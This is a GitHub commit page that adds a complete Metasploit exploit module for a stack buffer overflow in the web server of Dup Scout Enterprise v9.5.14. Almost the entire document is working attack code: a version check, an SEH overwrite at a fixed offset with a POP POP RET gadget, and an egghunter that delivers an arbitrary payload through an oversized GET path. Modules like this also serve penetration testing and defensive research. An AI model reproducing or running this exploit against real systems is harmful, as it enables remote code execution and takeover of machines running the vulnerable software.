Skip to content

Commit a3a4ba7

Browse files
Buffer Overflow on Dup Scout Enterprise v9.5.14
1 parent a404a1e commit a3a4ba7

File tree

1 file changed

+105
-0
lines changed

1 file changed

+105
-0
lines changed
Lines changed: 105 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,105 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = GreatRanking
10+
11+
include Msf::Exploit::Remote::Seh
12+
include Msf::Exploit::Remote::Egghunter
13+
include Msf::Exploit::Remote::HttpClient
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'Dup Scout Enterprise GET Buffer Overflow',
18+
'Description' => %q{
19+
This module exploits a stack-based buffer overflow vulnerability
20+
in the web interface of Dup Scout Enterprise v9.5.14, caused by
21+
improper bounds checking of the request path in HTTP GET requests
22+
sent to the built-in web server. This module has been tested
23+
successfully on Windows 7 SP1 x86.
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' =>
27+
[
28+
'vportal', # Vulnerability discovery and PoC
29+
'Daniel Teixeira' # Metasploit module
30+
],
31+
'DefaultOptions' =>
32+
{
33+
'EXITFUNC' => 'thread'
34+
},
35+
'Platform' => 'win',
36+
'Payload' =>
37+
{
38+
'BadChars' => "\x00\x09\x0a\x0d\x20\x26",
39+
'Space' => 500
40+
},
41+
'Targets' =>
42+
[
43+
[ 'Dup Scout Enterprise v9.5.14',
44+
{
45+
'Offset' => 2488,
46+
'Ret' => 0x10050ff3 # POP # POP # RET [libspp.dll]
47+
}
48+
]
49+
],
50+
'Privileged' => true,
51+
'DisclosureDate' => 'Mar 15 2017',
52+
'DefaultTarget' => 0))
53+
end
54+
55+
def check
56+
res = send_request_cgi(
57+
'method' => 'GET',
58+
'uri' => '/'
59+
)
60+
61+
if res && res.code == 200
62+
version = res.body[/Dup Scout Enterprise v[^<]*/]
63+
if version
64+
vprint_status("Version detected: #{version}")
65+
if version =~ /9\.5\.14/
66+
return Exploit::CheckCode::Appears
67+
end
68+
return Exploit::CheckCode::Detected
69+
end
70+
else
71+
vprint_error('Unable to determine due to a HTTP connection timeout')
72+
return Exploit::CheckCode::Unknown
73+
end
74+
75+
Exploit::CheckCode::Safe
76+
end
77+
78+
def exploit
79+
80+
eggoptions = {
81+
checksum: true,
82+
eggtag: rand_text_alpha(4, payload_badchars)
83+
}
84+
85+
hunter, egg = generate_egghunter(
86+
payload.encoded,
87+
payload_badchars,
88+
eggoptions
89+
)
90+
91+
sploit = rand_text_alpha(target['Offset'])
92+
sploit << generate_seh_record(target.ret)
93+
sploit << hunter
94+
sploit << make_nops(10)
95+
sploit << egg
96+
sploit << rand_text_alpha(5500)
97+
98+
print_status('Sending request...')
99+
100+
send_request_cgi(
101+
'method' => 'GET',
102+
'uri' => sploit
103+
)
104+
end
105+
end

0 commit comments

Comments
 (0)